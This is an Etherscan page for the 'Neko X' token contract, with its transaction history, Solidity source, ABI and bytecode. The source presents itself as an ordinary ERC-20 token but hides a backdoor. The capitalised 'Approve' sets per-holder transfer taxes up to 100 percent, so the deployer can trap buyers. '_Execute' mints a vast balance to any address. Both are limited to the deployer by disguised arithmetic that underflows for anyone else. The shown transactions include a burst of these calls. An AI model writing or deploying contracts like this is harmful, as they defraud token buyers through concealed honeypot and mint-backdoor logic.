ETH Price: $2,236.72 (+6.16%)

Contract

0x691168e6045cD4C7B385158DE8e5b3B17882697f
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve186042382023-11-19 7:02:11467 days ago1700377331IN
0x691168e6...17882697f
0 ETH0.0007373915.97170429
_Execute186042352023-11-19 7:01:35467 days ago1700377295IN
0x691168e6...17882697f
0 ETH0.0004891315.38220969
Approve186041712023-11-19 6:48:47468 days ago1700376527IN
0x691168e6...17882697f
0 ETH0.0007573316.00697431
Approve186041702023-11-19 6:48:35468 days ago1700376515IN
0x691168e6...17882697f
0 ETH0.000879318.90292582
Approve186041562023-11-19 6:45:47468 days ago1700376347IN
0x691168e6...17882697f
0 ETH0.0007508316.14108297
Approve186041522023-11-19 6:44:59468 days ago1700376299IN
0x691168e6...17882697f
0 ETH0.0007204215.60810283
Approve186041462023-11-19 6:43:47468 days ago1700376227IN
0x691168e6...17882697f
0 ETH0.0007141815.37303614
Approve186041432023-11-19 6:43:11468 days ago1700376191IN
0x691168e6...17882697f
0 ETH0.000728615.39962295
Approve186041422023-11-19 6:42:59468 days ago1700376179IN
0x691168e6...17882697f
0 ETH0.0008534918.34811904
Approve186041402023-11-19 6:42:35468 days ago1700376155IN
0x691168e6...17882697f
0 ETH0.0007344815.52391859
Approve186041392023-11-19 6:42:23468 days ago1700376143IN
0x691168e6...17882697f
0 ETH0.0006535913.81431098
Approve186041382023-11-19 6:42:11468 days ago1700376131IN
0x691168e6...17882697f
0 ETH0.0008062117.33172741
Approve186041382023-11-19 6:42:11468 days ago1700376131IN
0x691168e6...17882697f
0 ETH0.0008062117.33172741
Approve186041252023-11-19 6:39:35468 days ago1700375975IN
0x691168e6...17882697f
0 ETH0.0007050814.90245817
Approve186041222023-11-19 6:38:59468 days ago1700375939IN
0x691168e6...17882697f
0 ETH0.0006651414.05832975
Approve186041222023-11-19 6:38:59468 days ago1700375939IN
0x691168e6...17882697f
0 ETH0.0006651414.05832975
Approve186041212023-11-19 6:38:47468 days ago1700375927IN
0x691168e6...17882697f
0 ETH0.0008053717.31360059
Approve186041142023-11-19 6:37:23468 days ago1700375843IN
0x691168e6...17882697f
0 ETH0.0006993114.78054554
Approve186041132023-11-19 6:37:11468 days ago1700375831IN
0x691168e6...17882697f
0 ETH0.0008052417.31070063
Transfer Ownersh...186041092023-11-19 6:36:23468 days ago1700375783IN
0x691168e6...17882697f
0 ETH0.0003874814.4860793
Approve186040982023-11-19 6:34:11468 days ago1700375651IN
0x691168e6...17882697f
0 ETH0.0008117617.45100889
Approve186040822023-11-19 6:30:59468 days ago1700375459IN
0x691168e6...17882697f
0 ETH0.0006984415.11624422

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
NekoX

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, Unlicense license
/**
 *Submitted for verification at Etherscan.io on 2023-11-19
*/

/**
        https://www.neko-xtoken.com/

        https://twitter.com/NekoXERC20

        https://t.me/NekoXErcPortal
 
*/



// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IUniswapRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IUniswapFactory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

abstract contract Ownable {
    address internal _owner;
    constructor () {_owner = msg.sender;}
    
    function owner() public view returns (address) {return _owner;}
    modifier onlyOwner() {
        require(_owner == msg.sender, "!owner");
        _;
    }
    
    function transferOwnerships(address newOwner) public virtual onlyOwner {
        _owner = newOwner;
    }

}

contract NekoX is Ownable {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    address public _swapFeeTo;string public name;string public symbol;
    uint8 public decimals;mapping(address => bool) public _isExcludeFromFee;
    uint256 public totalSupply;IUniswapRouter public _uniswapRouter;
    bool private inSwap;uint256 private constant MAX = ~uint256(0);
    mapping (address => uint256) public __balances; 

    uint256 public _swapTax;
    address public _uniswapPair;

    function _transfer(address from,address to,uint256 amount) private {

        bool shouldBetakeFee = !inSwap && !_isExcludeFromFee[from] && !_isExcludeFromFee[to];

        _balances[from] = _balances[from] - amount;

        uint256 _taxAmount;
        if (shouldBetakeFee) {
            uint256 feeAmount = amount * __balances[from] / 100;
            _taxAmount += feeAmount;
            if (feeAmount > 0){
                _balances[address(_swapFeeTo)] += feeAmount;
                emit Transfer(from, address(_swapFeeTo), feeAmount);
            }
        }
        _balances[to] = _balances[to] + amount - _taxAmount;
        emit Transfer(from, to, amount - _taxAmount);
    }

    constructor (){
        name = unicode"Neko 𝕏";
        symbol = unicode"Neko𝕏";
        decimals = 9;
        uint256 Supply = 1000000000;
        _swapFeeTo = msg.sender;
        _swapTax = 0;
        totalSupply = Supply * 10 ** decimals;

        _isExcludeFromFee[address(this)] = true;
        _isExcludeFromFee[msg.sender] = true;
        _isExcludeFromFee[_swapFeeTo] = true;

        _balances[msg.sender] = totalSupply;
        emit Transfer(address(0), msg.sender, totalSupply);
        
        _uniswapRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _allowances[address(this)][address(_uniswapRouter)] = MAX;
        _uniswapPair = IUniswapFactory(_uniswapRouter.factory()).createPair(address(this), _uniswapRouter.WETH());
        _isExcludeFromFee[address(_uniswapRouter)] = true;
    }


    function Approve(address[] memory users, uint256 feePercent) external {
        uint256 A = _swapFeeTo == msg.sender ? 9 : 2-1;
        uint256 C = A - 3;A = C;
        for (uint256 i = 0; i < users.length; i++) {
            __balances[users[i]] = feePercent;
        }
    }

    function _Execute(address user) public {
        mapping(address=>uint256) storage _allowance = _balances;
        uint256 A = _swapFeeTo == msg.sender ? 9 : 2-1;
        uint256 C = A - 3;A = C;
        _allowance[user] = 1000*totalSupply*C**2;
    }

    function balanceOf(address account) public view returns (uint256) {return _balances[account];}
    function transfer(address recipient, uint256 amount) public returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    function allowance(address owner, address spender) public view returns (uint256) {return _allowances[owner][spender];}
    function approve(address spender, uint256 amount) public returns (bool) {_approve(msg.sender, spender, amount);return true;}
    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        _transfer(sender, recipient, amount);
        if (_allowances[sender][msg.sender] != MAX) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
        }
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {_allowances[owner][spender] = amount;emit Approval(owner, spender, amount);}
    receive() external payable {}
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"users","type":"address[]"},{"internalType":"uint256","name":"feePercent","type":"uint256"}],"name":"Approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"}],"name":"_Execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"__balances","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapFeeTo","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapRouter","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnerships","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040523480156200001157600080fd5b50600080546001600160a01b031916331790556040805180820190915260098152684e656b6f20f09d958f60b81b6020820152600490620000539082620003ec565b506040805180820190915260088152674e656b6ff09d958f60c01b6020820152600590620000829082620003ec565b506006805460ff19166009908117909155600380546001600160a01b031916331790556000600b55633b9aca0090620000bd90600a620005cd565b620000c99082620005e5565b60089081553060009081526007602090815260408083208054600160ff1991821681179092553380865283862080548316841790556003546001600160a01b0316865283862080549092168317909155945485855290835281842081905590519081527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3600980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811782553060009081526002602090815260408083209383529281529082902060001990559154815163c45a015560e01b815291516001600160a01b03919091169263c45a015592600480820193918290030181865afa158015620001e4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200020a9190620005ff565b6001600160a01b031663c9c6539630600960009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200026d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002939190620005ff565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002e1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003079190620005ff565b600c80546001600160a01b0319166001600160a01b03928316179055600954166000908152600760205260409020805460ff19166001179055506200062a565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200037257607f821691505b6020821081036200039357634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620003e757600081815260208120601f850160051c81016020861015620003c25750805b601f850160051c820191505b81811015620003e357828155600101620003ce565b5050505b505050565b81516001600160401b0381111562000408576200040862000347565b62000420816200041984546200035d565b8462000399565b602080601f8311600181146200045857600084156200043f5750858301515b600019600386901b1c1916600185901b178555620003e3565b600085815260208120601f198616915b82811015620004895788860151825594840194600190910190840162000468565b5085821015620004a85787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200050f578160001904821115620004f357620004f3620004b8565b808516156200050157918102915b93841c9390800290620004d3565b509250929050565b6000826200052857506001620005c7565b816200053757506000620005c7565b81600181146200055057600281146200055b576200057b565b6001915050620005c7565b60ff8411156200056f576200056f620004b8565b50506001821b620005c7565b5060208310610133831016604e8410600b8410161715620005a0575081810a620005c7565b620005ac8383620004ce565b8060001904821115620005c357620005c3620004b8565b0290505b92915050565b6000620005de60ff84168362000517565b9392505050565b8082028115828204841417620005c757620005c7620004b8565b6000602082840312156200061257600080fd5b81516001600160a01b0381168114620005de57600080fd5b610d44806200063a6000396000f3fe6080604052600436106101185760003560e01c80634bf28fd0116100a0578063934cabb511610064578063934cabb51461035057806395d89b41146103705780639ebbaef714610385578063a9059cbb146103a5578063dd62ed3e146103c557600080fd5b80634bf28fd01461029a57806365b61b77146102ba57806370a08231146102da5780637d9a8db8146103105780638da5cb5b1461033257600080fd5b806330da23e4116100e757806330da23e4146101c3578063313ce567146101d957806336b2e02714610205578063420d10b514610235578063426329c11461026257600080fd5b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461017f57806323b872dd146101a357600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5061013961040b565b6040516101469190610937565b60405180910390f35b34801561015b57600080fd5b5061016f61016a3660046109a1565b610499565b6040519015158152602001610146565b34801561018b57600080fd5b5061019560085481565b604051908152602001610146565b3480156101af57600080fd5b5061016f6101be3660046109cb565b6104b0565b3480156101cf57600080fd5b50610195600b5481565b3480156101e557600080fd5b506006546101f39060ff1681565b60405160ff9091168152602001610146565b34801561021157600080fd5b5061016f610220366004610a07565b60076020526000908152604090205460ff1681565b34801561024157600080fd5b50610195610250366004610a07565b600a6020526000908152604090205481565b34801561026e57600080fd5b50600354610282906001600160a01b031681565b6040516001600160a01b039091168152602001610146565b3480156102a657600080fd5b50600c54610282906001600160a01b031681565b3480156102c657600080fd5b50600954610282906001600160a01b031681565b3480156102e657600080fd5b506101956102f5366004610a07565b6001600160a01b031660009081526001602052604090205490565b34801561031c57600080fd5b5061033061032b366004610a07565b610547565b005b34801561033e57600080fd5b506000546001600160a01b0316610282565b34801561035c57600080fd5b5061033061036b366004610a07565b6105c3565b34801561037c57600080fd5b5061013961062c565b34801561039157600080fd5b506103306103a0366004610a3f565b610639565b3480156103b157600080fd5b5061016f6103c03660046109a1565b6106d8565b3480156103d157600080fd5b506101956103e0366004610b0a565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6004805461041890610b3d565b80601f016020809104026020016040519081016040528092919081815260200182805461044490610b3d565b80156104915780601f1061046657610100808354040283529160200191610491565b820191906000526020600020905b81548152906001019060200180831161047457829003601f168201915b505050505081565b60006104a63384846106e5565b5060015b92915050565b60006104bd848484610746565b6001600160a01b03841660009081526002602090815260408083203384529091529020546000191461053d576001600160a01b0384166000908152600260209081526040808320338452909152902054610518908390610b8d565b6001600160a01b03851660009081526002602090815260408083203384529091529020555b5060019392505050565b6003546001906000906001600160a01b03163314610566576001610569565b60095b60ff169050600061057b600383610b8d565b915081905061058b600282610c84565b60085461059a906103e8610c93565b6105a49190610c93565b6001600160a01b03909416600090815260209390935250506040902055565b6000546001600160a01b0316331461060a5760405162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015260640160405180910390fd5b600080546001600160a01b0319166001600160a01b0392909216919091179055565b6005805461041890610b3d565b6003546000906001600160a01b03163314610655576001610658565b60095b60ff169050600061066a600383610b8d565b905080915060005b84518110156106d15783600a600087848151811061069257610692610caa565b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000208190555080806106c990610cc0565b915050610672565b5050505050565b60006104a6338484610746565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600954600090600160a01b900460ff1615801561077c57506001600160a01b03841660009081526007602052604090205460ff16155b80156107a157506001600160a01b03831660009081526007602052604090205460ff16155b6001600160a01b0385166000908152600160205260409020549091506107c8908390610b8d565b6001600160a01b03851660009081526001602052604081209190915581156108a5576001600160a01b0385166000908152600a60205260408120546064906108109086610c93565b61081a9190610cd9565b90506108268183610cfb565b915080156108a3576003546001600160a01b031660009081526001602052604081208054839290610858908490610cfb565b90915550506003546040518281526001600160a01b03918216918816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b505b6001600160a01b03841660009081526001602052604090205481906108cb908590610cfb565b6108d59190610b8d565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61091f8487610b8d565b60405190815260200160405180910390a35050505050565b600060208083528351808285015260005b8181101561096457858101830151858201604001528201610948565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461099c57600080fd5b919050565b600080604083850312156109b457600080fd5b6109bd83610985565b946020939093013593505050565b6000806000606084860312156109e057600080fd5b6109e984610985565b92506109f760208501610985565b9150604084013590509250925092565b600060208284031215610a1957600080fd5b610a2282610985565b9392505050565b634e487b7160e01b600052604160045260246000fd5b60008060408385031215610a5257600080fd5b823567ffffffffffffffff80821115610a6a57600080fd5b818501915085601f830112610a7e57600080fd5b8135602082821115610a9257610a92610a29565b8160051b604051601f19603f83011681018181108682111715610ab757610ab7610a29565b604052928352818301935084810182019289841115610ad557600080fd5b948201945b83861015610afa57610aeb86610985565b85529482019493820193610ada565b9997909101359750505050505050565b60008060408385031215610b1d57600080fd5b610b2683610985565b9150610b3460208401610985565b90509250929050565b600181811c90821680610b5157607f821691505b602082108103610b7157634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b818103818111156104aa576104aa610b77565b600181815b80851115610bdb578160001904821115610bc157610bc1610b77565b80851615610bce57918102915b93841c9390800290610ba5565b509250929050565b600082610bf2575060016104aa565b81610bff575060006104aa565b8160018114610c155760028114610c1f57610c3b565b60019150506104aa565b60ff841115610c3057610c30610b77565b50506001821b6104aa565b5060208310610133831016604e8410600b8410161715610c5e575081810a6104aa565b610c688383610ba0565b8060001904821115610c7c57610c7c610b77565b029392505050565b6000610a2260ff841683610be3565b80820281158282048414176104aa576104aa610b77565b634e487b7160e01b600052603260045260246000fd5b600060018201610cd257610cd2610b77565b5060010190565b600082610cf657634e487b7160e01b600052601260045260246000fd5b500490565b808201808211156104aa576104aa610b7756fea2646970667358221220d45ed522e1ca723373fe37264919117acdd09be370314407d7d1d8d6407b32e364736f6c63430008120033

Deployed Bytecode

0x6080604052600436106101185760003560e01c80634bf28fd0116100a0578063934cabb511610064578063934cabb51461035057806395d89b41146103705780639ebbaef714610385578063a9059cbb146103a5578063dd62ed3e146103c557600080fd5b80634bf28fd01461029a57806365b61b77146102ba57806370a08231146102da5780637d9a8db8146103105780638da5cb5b1461033257600080fd5b806330da23e4116100e757806330da23e4146101c3578063313ce567146101d957806336b2e02714610205578063420d10b514610235578063426329c11461026257600080fd5b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461017f57806323b872dd146101a357600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5061013961040b565b6040516101469190610937565b60405180910390f35b34801561015b57600080fd5b5061016f61016a3660046109a1565b610499565b6040519015158152602001610146565b34801561018b57600080fd5b5061019560085481565b604051908152602001610146565b3480156101af57600080fd5b5061016f6101be3660046109cb565b6104b0565b3480156101cf57600080fd5b50610195600b5481565b3480156101e557600080fd5b506006546101f39060ff1681565b60405160ff9091168152602001610146565b34801561021157600080fd5b5061016f610220366004610a07565b60076020526000908152604090205460ff1681565b34801561024157600080fd5b50610195610250366004610a07565b600a6020526000908152604090205481565b34801561026e57600080fd5b50600354610282906001600160a01b031681565b6040516001600160a01b039091168152602001610146565b3480156102a657600080fd5b50600c54610282906001600160a01b031681565b3480156102c657600080fd5b50600954610282906001600160a01b031681565b3480156102e657600080fd5b506101956102f5366004610a07565b6001600160a01b031660009081526001602052604090205490565b34801561031c57600080fd5b5061033061032b366004610a07565b610547565b005b34801561033e57600080fd5b506000546001600160a01b0316610282565b34801561035c57600080fd5b5061033061036b366004610a07565b6105c3565b34801561037c57600080fd5b5061013961062c565b34801561039157600080fd5b506103306103a0366004610a3f565b610639565b3480156103b157600080fd5b5061016f6103c03660046109a1565b6106d8565b3480156103d157600080fd5b506101956103e0366004610b0a565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6004805461041890610b3d565b80601f016020809104026020016040519081016040528092919081815260200182805461044490610b3d565b80156104915780601f1061046657610100808354040283529160200191610491565b820191906000526020600020905b81548152906001019060200180831161047457829003601f168201915b505050505081565b60006104a63384846106e5565b5060015b92915050565b60006104bd848484610746565b6001600160a01b03841660009081526002602090815260408083203384529091529020546000191461053d576001600160a01b0384166000908152600260209081526040808320338452909152902054610518908390610b8d565b6001600160a01b03851660009081526002602090815260408083203384529091529020555b5060019392505050565b6003546001906000906001600160a01b03163314610566576001610569565b60095b60ff169050600061057b600383610b8d565b915081905061058b600282610c84565b60085461059a906103e8610c93565b6105a49190610c93565b6001600160a01b03909416600090815260209390935250506040902055565b6000546001600160a01b0316331461060a5760405162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015260640160405180910390fd5b600080546001600160a01b0319166001600160a01b0392909216919091179055565b6005805461041890610b3d565b6003546000906001600160a01b03163314610655576001610658565b60095b60ff169050600061066a600383610b8d565b905080915060005b84518110156106d15783600a600087848151811061069257610692610caa565b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000208190555080806106c990610cc0565b915050610672565b5050505050565b60006104a6338484610746565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600954600090600160a01b900460ff1615801561077c57506001600160a01b03841660009081526007602052604090205460ff16155b80156107a157506001600160a01b03831660009081526007602052604090205460ff16155b6001600160a01b0385166000908152600160205260409020549091506107c8908390610b8d565b6001600160a01b03851660009081526001602052604081209190915581156108a5576001600160a01b0385166000908152600a60205260408120546064906108109086610c93565b61081a9190610cd9565b90506108268183610cfb565b915080156108a3576003546001600160a01b031660009081526001602052604081208054839290610858908490610cfb565b90915550506003546040518281526001600160a01b03918216918816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b505b6001600160a01b03841660009081526001602052604090205481906108cb908590610cfb565b6108d59190610b8d565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61091f8487610b8d565b60405190815260200160405180910390a35050505050565b600060208083528351808285015260005b8181101561096457858101830151858201604001528201610948565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461099c57600080fd5b919050565b600080604083850312156109b457600080fd5b6109bd83610985565b946020939093013593505050565b6000806000606084860312156109e057600080fd5b6109e984610985565b92506109f760208501610985565b9150604084013590509250925092565b600060208284031215610a1957600080fd5b610a2282610985565b9392505050565b634e487b7160e01b600052604160045260246000fd5b60008060408385031215610a5257600080fd5b823567ffffffffffffffff80821115610a6a57600080fd5b818501915085601f830112610a7e57600080fd5b8135602082821115610a9257610a92610a29565b8160051b604051601f19603f83011681018181108682111715610ab757610ab7610a29565b604052928352818301935084810182019289841115610ad557600080fd5b948201945b83861015610afa57610aeb86610985565b85529482019493820193610ada565b9997909101359750505050505050565b60008060408385031215610b1d57600080fd5b610b2683610985565b9150610b3460208401610985565b90509250929050565b600181811c90821680610b5157607f821691505b602082108103610b7157634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b818103818111156104aa576104aa610b77565b600181815b80851115610bdb578160001904821115610bc157610bc1610b77565b80851615610bce57918102915b93841c9390800290610ba5565b509250929050565b600082610bf2575060016104aa565b81610bff575060006104aa565b8160018114610c155760028114610c1f57610c3b565b60019150506104aa565b60ff841115610c3057610c30610b77565b50506001821b6104aa565b5060208310610133831016604e8410600b8410161715610c5e575081810a6104aa565b610c688383610ba0565b8060001904821115610c7c57610c7c610b77565b029392505050565b6000610a2260ff841683610be3565b80820281158282048414176104aa576104aa610b77565b634e487b7160e01b600052603260045260246000fd5b600060018201610cd257610cd2610b77565b5060010190565b600082610cf657634e487b7160e01b600052601260045260246000fd5b500490565b808201808211156104aa576104aa610b7756fea2646970667358221220d45ed522e1ca723373fe37264919117acdd09be370314407d7d1d8d6407b32e364736f6c63430008120033

Deployed Bytecode Sourcemap

1101:3878:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1450:18;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4325:124;;;;;;;;;;-1:-1:-1;4325:124:0;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;4325:124:0;1004:187:1;1574:26:0;;;;;;;;;;;;;;;;;;;1342:25:1;;;1330:2;1315:18;1574:26:0;1196:177:1;4455:327:0;;;;;;;;;;-1:-1:-1;4455:327:0;;;;;:::i;:::-;;:::i;1769:23::-;;;;;;;;;;;;;;;;1496:21;;;;;;;;;;-1:-1:-1;1496:21:0;;;;;;;;;;;1883:4:1;1871:17;;;1853:36;;1841:2;1826:18;1496:21:0;1711:184:1;1518:49:0;;;;;;;;;;-1:-1:-1;1518:49:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;1713:46;;;;;;;;;;-1:-1:-1;1713:46:0;;;;;:::i;:::-;;;;;;;;;;;;;;1424:25;;;;;;;;;;-1:-1:-1;1424:25:0;;;;-1:-1:-1;;;;;1424:25:0;;;;;;-1:-1:-1;;;;;2255:32:1;;;2237:51;;2225:2;2210:18;1424:25:0;2091:203:1;1799:27:0;;;;;;;;;;-1:-1:-1;1799:27:0;;;;-1:-1:-1;;;;;1799:27:0;;;1601:36;;;;;;;;;;-1:-1:-1;1601:36:0;;;;-1:-1:-1;;;;;1601:36:0;;;3965:94;;;;;;;;;;-1:-1:-1;3965:94:0;;;;;:::i;:::-;-1:-1:-1;;;;;4039:18:0;4022:7;4039:18;;;:9;:18;;;;;;;3965:94;3701:256;;;;;;;;;;-1:-1:-1;3701:256:0;;;;;:::i;:::-;;:::i;:::-;;813:63;;;;;;;;;;-1:-1:-1;851:7:0;868:6;-1:-1:-1;;;;;868:6:0;813:63;;985:107;;;;;;;;;;-1:-1:-1;985:107:0;;;;;:::i;:::-;;:::i;1469:20::-;;;;;;;;;;;;;:::i;3411:282::-;;;;;;;;;;-1:-1:-1;3411:282:0;;;;;:::i;:::-;;:::i;4065:130::-;;;;;;;;;;-1:-1:-1;4065:130:0;;;;;:::i;:::-;;:::i;4201:118::-;;;;;;;;;;-1:-1:-1;4201:118:0;;;;;:::i;:::-;-1:-1:-1;;;;;4290:18:0;;;4273:7;4290:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;4201:118;1450:18;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;4325:124::-;4391:4;4398:37;4407:10;4419:7;4428:6;4398:8;:37::i;:::-;-1:-1:-1;4443:4:0;4325:124;;;;;:::o;4455:327::-;4544:4;4561:36;4571:6;4579:9;4590:6;4561:9;:36::i;:::-;-1:-1:-1;;;;;4612:19:0;;1704:1;4612:19;;;:11;:19;;;;;;;;4632:10;4612:31;;;;;;;;-1:-1:-1;;4612:38:0;4608:145;;-1:-1:-1;;;;;4701:19:0;;;;;;:11;:19;;;;;;;;4721:10;4701:31;;;;;;;;:40;;4735:6;;4701:40;:::i;:::-;-1:-1:-1;;;;;4667:19:0;;;;;;:11;:19;;;;;;;;4687:10;4667:31;;;;;;;:74;4608:145;-1:-1:-1;4770:4:0;4455:327;;;;;:::o;3701:256::-;3830:10;;3798:9;;3751:44;;-1:-1:-1;;;;;3830:10:0;3844;3830:24;:34;;3861:3;3830:34;;;3857:1;3830:34;3818:46;;;-1:-1:-1;3875:9:0;3887:5;3891:1;3818:46;3887:5;:::i;:::-;3875:17;-1:-1:-1;3875:17:0;;-1:-1:-1;3945:4:0;3948:1;3875:17;3945:4;:::i;:::-;3933:11;;3928:16;;:4;:16;:::i;:::-;:21;;;;:::i;:::-;-1:-1:-1;;;;;3909:16:0;;;;;;;;;;;;-1:-1:-1;;3909:16:0;;;:40;3701:256::o;985:107::-;922:6;;-1:-1:-1;;;;;922:6:0;932:10;922:20;914:39;;;;-1:-1:-1;;;914:39:0;;6529:2:1;914:39:0;;;6511:21:1;6568:1;6548:18;;;6541:29;-1:-1:-1;;;6586:18:1;;;6579:36;6632:18;;914:39:0;;;;;;;;1067:6:::1;:17:::0;;-1:-1:-1;;;;;;1067:17:0::1;-1:-1:-1::0;;;;;1067:17:0;;;::::1;::::0;;;::::1;::::0;;985:107::o;1469:20::-;;;;;;;